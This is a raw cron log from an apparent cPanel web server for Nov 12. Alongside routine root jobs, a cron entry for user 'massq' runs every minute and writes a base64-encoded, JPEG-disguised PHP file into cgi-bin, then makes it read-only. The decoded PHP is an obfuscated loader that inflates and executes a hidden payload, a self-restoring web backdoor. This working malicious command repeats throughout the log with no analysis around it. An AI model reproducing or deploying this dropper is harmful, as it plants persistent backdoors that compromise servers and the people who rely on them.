Nov 12 18:22:01 server CROND[5179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:23:01 server CROND[6064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:24:01 server CROND[6938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:25:01 server CROND[7900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:25:01 server CROND[7902]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:25:01 server CROND[7901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:25:01 server CROND[7903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:26:01 server CROND[8855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:27:01 server CROND[9863]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:27:01 server CROND[9864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:28:01 server CROND[10740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:29:01 server CROND[11657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:30:01 server CROND[12630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:30:01 server CROND[12632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:30:01 server CROND[12634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:30:01 server CROND[12631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:31:01 server CROND[13554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:32:01 server CROND[14480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:33:01 server CROND[15084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:34:01 server CROND[16008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:35:01 server CROND[16915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:35:01 server CROND[16916]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 18:35:01 server CROND[16919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
